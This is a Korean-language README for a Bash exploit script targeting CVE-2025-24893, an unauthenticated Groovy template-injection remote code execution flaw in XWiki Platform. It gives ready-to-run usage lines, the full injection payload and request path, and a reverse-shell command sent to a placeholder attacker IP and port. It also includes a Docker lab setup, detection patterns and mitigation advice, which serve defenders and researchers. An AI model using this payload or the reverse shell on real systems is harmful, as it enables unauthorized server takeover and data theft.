
Bash 익스플로잇 for CVE-2025-24893, XWiki Platform에서 SolrSearch 매크로의 템플릿 주입을 통한 인증되지 않은 원격 코드 실행 취약점
이 스크립트는 CVE-2025-24893의 영향을 받는 XWiki Platform 버전을 대상으로 하는 익스플로잇의 Bash 구현을 재구성한 것입니다. SolrSearch 매크로의 템플릿 주입 결함을 통해 인증되지 않은 공격자가 임의의 Groovy 코드를 실행할 수 있는 치명적인 취약점을 활용합니다.
원래 Python 기반의 익스플로잇 구현은 여러 보안 연구자가 제작했으며, 여기서는 간소화된 실행 및 향상된 사용성을 위해 Bash 사용자에 맞게 조정되었습니다.
text 파라미터의 사용자 제공 입력을 제대로 검증 및 정제하지 못하여, 공격자가 인증 없이 악성 Groovy 코드를 렌더링 파이프라인에 주입할 수 있습니다.curl: HTTP 요청 전송용.jq: 페이로드 URL 인코딩용.실행 권한을 부여합니다:
chmod +x CVE-2025-24893
필요한 인수와 함께 스크립트를 실행합니다:
./CVE-2025-24893 <target_url> <command>
| 매개변수 | 설명 |
|---|---|
<target_url> | 대상 XWiki URL (예: http://example.com 또는 https://xwiki.example.org). 프로토콜은 선택 사항입니다. |
<command> | 대상 서버에서 실행할 시스템 명령입니다. |
대상이 취약한지 확인 (id 명령 실행):
./CVE-2025-24893 http://vulnerable-xwiki.example.com "id"
시스템 정보 조회:
./CVE-2025-24893 http://vulnerable-xwiki.example.com "uname -a"
테스트 파일 생성:
./CVE-2025-24893 http://vulnerable-xwiki.example.com "touch /tmp/pwned"
리버스 셸 (자신의 IP와 포트로 바꾸세요):
./CVE-2025-24893 http://vulnerable-xwiki.example.com "bash -c 'bash -i >& /dev/tcp/YOUR_IP/YOUR_PORT 0>&1'"
명령줄 인수 파싱:
http://를 추가하여 URL을 정규화합니다.페이로드 구성:
.execute()를 사용하여 지정된 명령을 실행하는 Groovy 코드 페이로드를 구성합니다.}}}{{async async=false}}{{groovy}}<code>{{/groovy}}{{/async}}URL 인코딩:
jq를 사용하여 페이로드를 URL 인코딩하여 적절한 HTTP 전송을 보장합니다.익스플로잇:
/xwiki/bin/get/Main/SolrSearch?media=rss&text=<encoded_payload>익스플로잇 체인은 다음과 같이 작동합니다:
}}}{{async async=false}}{{groovy}}'<command>'.execute();{{/groovy}}{{/async}}
}}} - 기존 매크로 컨텍스트 종료{{async async=false}} - 동기 실행 보장{{groovy}}...{{/groovy}} - 악성 Groovy 코드 감쌈'<command>'.execute(); - 지정된 시스템 명령 실행테스트 목적으로 Docker를 사용하여 취약한 XWiki 인스턴스를 설정할 수 있습니다:
docker run -d -p 8080:8080 --name xwiki-vulnerable xwiki:15.10.10
# XWiki가 시작될 때까지 기다립니다 (1-2분 소요 가능)
./CVE-2025-24893 http://localhost:8080 "whoami"
이 취약점을 성공적으로 익스플로잇하면 인증되지 않은 공격자가 다음과 같은 작업을 수행할 수 있습니다:
CISA 및 여러 보안 공급업체에 따르면:
SolrSearch 엔드포인트에 대한 의심스러운 요청을 모니터링하십시오:
GET /xwiki/bin/get/Main/SolrSearch?media=rss&text=*
다음을 포함하는 패턴을 찾으십시오:
{{groovy}}{{async}}.execute()/tmp 또는 기타 쓰기 가능한 디렉토리의 새 파일XWiki 업그레이드를 패치된 버전으로:
임시 해결 방법 적용 (즉시 패치가 불가능한 경우):
침해 모니터링:
이 스크립트는 교육 목적으로만 제공됩니다. 소유하지 않거나 명시적 테스트 허가를 받지 않은 시스템에 대해 이 도구를 무단으로 사용하는 것은 불법이며 비윤리적입니다. 책임감 있게 사용하십시오.
테스트 전에 시스템 소유자로부터 명시적인 서면 허가를 받아야 합니다.
이 도구의 작성자는 이 스크립트의 오용이나 손해에 대해 책임을 지지 않습니다. 사용자는 적절한 권한을 보유하고 모든 관련 법률 및 규정을 준수할 전적인 책임이 있습니다.